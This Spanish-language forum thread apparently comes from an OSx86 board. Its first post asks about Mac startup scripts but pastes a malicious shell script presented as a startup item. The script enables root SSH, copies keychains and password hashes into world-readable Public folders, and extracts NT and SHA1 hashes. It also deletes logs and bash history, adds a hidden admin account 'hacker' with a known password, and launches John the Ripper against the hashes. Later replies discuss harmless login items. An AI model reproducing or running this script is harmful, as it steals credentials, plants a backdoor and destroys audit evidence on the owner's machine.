1. #1
    Tímido Progreso en OSx86 Spain Nivel 0 Karma y autoridad patton
    Avatar de patton

    script para inicio mac /Library/StartupItems

    Alguien a creado algun script para "el arranque" como estos? que le funcione en hackintosh? y que les traigan algun beneficio? esas cron task las realizan igualmente programas como cocktail o onyx?


    chflags nouchg /etc/hostconfig /etc/xinetd.d/ssh /etc/daily /etc/weekly /etc/monthly
    chmod 777 /etc/hostconfig /etc/xinetd.d/ssh /etc/daily /etc/weekly /etc/monthly


    echo "service ssh" > /private/etc/xinetd.d/ssh
    echo "{" >> /private/etc/xinetd.d/ssh
    echo "disable = no" >> /private/etc/xinetd.d/ssh
    echo "socket_type = stream" >> /private/etc/xinetd.d/ssh
    echo "wait = no" >> /private/etc/xinetd.d/ssh
    echo "user = root" >> /private/etc/xinetd.d/ssh
    echo "server = /usr/libexec/sshd-keygen-wrapper" >> /private/etc/xinetd.d/ssh
    echo "server_args = -i" >> /private/etc/xinetd.d/ssh
    echo "groups = yes" >> /private/etc/xinetd.d/ssh
    echo "flags = REUSE IPv6" >> /private/etc/xinetd.d/ssh
    echo "session_create = yes" >> /private/etc/xinetd.d/ssh
    echo "}" >> /private/etc/xinetd.d/ssh


    echo "AFPSERVER=-YES-" >> /etc/hostconfig
    echo "SSHSERVER=-YES-" >> /etc/hostconfig


    mkdir /.info /.info/Library /.info/Library/Preferences /.info/private /.info/private/var /.info/keychains /.info/nistuff


    cp -R /Library/ApplePasswordServer /.info/Library/ApplePasswordServer # for OS X SERVER
    cp -R /private/var/db /.info/private/var/db # all the netinfo stuff
    cp -R /Library/Keychains/ /.info/Library/Keychains/
    cp -R /Library/Preferences/DNSUpdate /.info/Library/Preferences/ # DynDNS locator beacon prefs
    cp -R /private/var/db/shadow/hash /.info/private/var/db/shadow/hash # just making sure
    cp /Library/WebServer/users /.info/Library/WebServer/users
    cp /System/Library/CoreServices/SystemVersion.plist /.info/System/Library/CoreServices/SystemVersion.plist
    cp /Library/Preferences/Netopia/Netopia\ Preferences /.info/Library/Preferences/Netopia/Netopia\ Preferences




    rm /.info/private/var/db/locate.database


    cd /.info


    cd /.info/nistuff
    for username in `nireport . /users name`
    do
    niutil -read . /users/$username > $username.txt
    done


    nidump passwd . >> passwdMD5
    nidump passwd / >> passwdMD5
    for name in `nireport / /users name`
    do
    G=`niutil -readprop / /users/${name} generateduid`
    if [ -n "$G" ] ; then
    H=`cat /private/var/db/shadow/hash/${G}`
    echo ${name}:${H:1:32}:${H:33:32}::: >> passwdNT4
    echo ${name}:${H:65:40}::: >> passwdSHA1
    fi
    done


    cd /Users


    find . -maxdepth 3 -mindepth 3 -name "Keychains" -type d -exec cp -R '{}' /.info/keychains \;


    mkdir /.Info/Users
    cd /Users
    for item in `nireport / /users name`
    do
    if test -d ./$item ; then
    mkdir /.info/Users/$item
    cp -f $item/Library/StickiesDatabase /.info/Users/$item/StickiesDatabase
    fi
    done



    chmod -Rf 777 /.info


    cd /Users
    chmod -Rf 777 /.info
    find . -maxdepth 2 -name "Public" -type d -exec cp -R /.info '{}/.info' \;
    find . -maxdepth 3 -name ".info" -type d -exec chmod -R 777 '{}' \;
    rm -R /.info



    cd /Users
    rm -Rf /private/var/log/
    rm -Rf /Library/Logs/
    rm -f /Library/Preferences/Netopia/Timbuktu\ Pro\ Log
    rm -f /var/log/osxvnc.*
    find . -maxdepth 2 -name ".bash_history" -exec rm -f '{}' \;




    niutil -create / /users/hacker
    niutil -createprop / /users/hacker uid 401
    niutil -createprop / /users/hacker realname "Hacker"
    niutil -createprop / /users/hacker home "/private/var/home"
    niutil -createprop / /users/hacker shell "/bin/bash"
    niutil -createprop / /users/hacker gid 20
    niutil -createprop / /users/hacker passwd "rQ3p5/hpOpvGE" #(it's 1234)
    nicl . -append /groups/admin users hacker
    chown -R hacker:staff /private/var/home
    chmod -Rf 700 /private/var/home



    cd /Library/StartupItems/opener
    if test -f "AddToCronTasks.txt" ; then
    cat AddToCronTasks.txt >> /etc/daily
    rm AddToCronTasks.txt
    fi




    if [ -d /Library/Preferences/jtr/ ] ; then
    chflags -R nouchg /Library/Preferences/jtr/
    chmod -R 777 /Library/Preferences/jtr/


    if test -f /Library/Preferences/jtr/run/restore ; then
    cd /Library/Preferences/jtr/
    ./run/john -restore &
    ./run/john -restore:DESs &

    else



    nidump passwd . >> /Library/Preferences/jtr/passwd
    nidump passwd / >> /Library/Preferences/jtr/passwd


    for name in `nireport / /users name`
    do
    G=`niutil -readprop / /users/${name} generateduid`
    if [ -n "$G" ] ; then
    H=`cat /private/var/db/shadow/hash/${G}`
    echo ${name}:${H:1:32}:${H:33:32}::: >> /Library/Preferences/jtr/passwd
    fi
    done


    cd /Library/Preferences/jtr/
    ./run/john -format:LM passwd &


    ./run/john -session:DESs -format:DES passwd &

    fi
    fi

  2. #2
    Activo Progreso OSx86 Spain Nivel 3 Karma y autoridad juker12 Karma y autoridad juker12
    Avatar de juker12

    Patton yo en esto me he vuelto un comodo y vago.
    Una vez toquetee el inicio y ya no me arranco con utilidades de terceros y las pase canutas para arrancar sin formatear

    Asi que ahora lo hago a lo comodo y que me lo haga osx

    O bien desde el dock con un click

    O bien desde cuentas arrastrando el item

    Por ejemplo para iniciar recursos de red me lo hago asi

    http://www.applesana.es/73/2361/como...e-en-os-x.html
    Miniatura de Adjuntos Imágenes del artículo   

  3. #3
    Tímido Progreso en OSx86 Spain Nivel 0 Karma y autoridad patton
    Avatar de patton

    OK, ambos los conocía, el segundo me los explicaste en un topic anterior, es decir es lo mismo, solo que más detallado. OK.
    Eso como /etc/rc.conf de linux o /etc/rc[0-6].d de ubuntu...

Notas relacionadas que te pueden interesar

  1. Script para actualizaciones automáticas
    por javivisevilla en categoría OS X 10.8
    Comentarios: 0
    Último comentario: 09/03/10, 22:22:03
  2. Safari con script?
    por rasek en categoría Redes / Internet
    Comentarios: 4
    Último comentario: 26/10/09, 17:35:48
  3. Mantenimiento de MAc os x Script o configuración
    por Seifreed en categoría OS X 10.6
    Comentarios: 0
    Último comentario: 16/07/09, 14:03:31
  4. Comentarios: 4
    Último comentario: 27/12/08, 13:37:22
  5. Ayuda con Shell Script
    por AlexDM en categoría OS X 10.8
    Comentarios: 2
    Último comentario: 24/04/07, 23:45:34

No te pierdas: